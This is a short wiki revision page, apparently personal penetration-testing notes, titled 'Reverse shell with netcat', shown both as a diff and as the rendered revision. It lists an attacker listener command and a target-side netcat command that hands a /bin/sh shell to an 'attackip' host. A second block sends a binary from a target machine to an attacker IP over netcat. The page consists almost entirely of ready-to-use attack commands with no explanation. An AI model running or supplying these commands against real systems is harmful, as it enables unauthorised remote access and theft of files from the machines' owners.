Difference between revisions of "Reverse shell with netcat"

From RHS Wiki
Jump to navigation Jump to search
(Created page with "Attacbox: nc -lvp 4444 Target: nc attackip 4444 -e /bin/sh")
 
m
Tag: visualeditor
Line 1: Line 1:
Attacbox:
+
<syntaxhighlight lang="bash">
nc -lvp 4444
+
# Attacbox:
 +
nc -lvnp 4444
  
Target:
+
# Target:
nc attackip 4444 -e /bin/sh
+
nc attackip 4444 -e /bin/sh
 +
</syntaxhighlight>
 +
 
 +
== Transfer file over netcat ==
 +
<syntaxhighlight lang="bash">
 +
$ nc -l -p 9999 > ovrfl  # Receive (Atacker Machine)
 +
$ nc -w 5 10.10.14.22 9999 < /usr/local/bin/ovrflw  # Send (Target machine)
 +
$ 0e531949d891fd56a2ead07610cc5ded  ovrfl # Check it is the same on both machines
 +
</syntaxhighlight>

Revision as of 19:12, 19 January 2020

# Attacbox:
nc -lvnp 4444

# Target:
nc attackip 4444 -e /bin/sh

Transfer file over netcat

$ nc -l -p 9999 > ovrfl  # Receive (Atacker Machine)
$ nc -w 5 10.10.14.22 9999 < /usr/local/bin/ovrflw  # Send (Target machine)
$ 0e531949d891fd56a2ead07610cc5ded  ovrfl # Check it is the same on both machines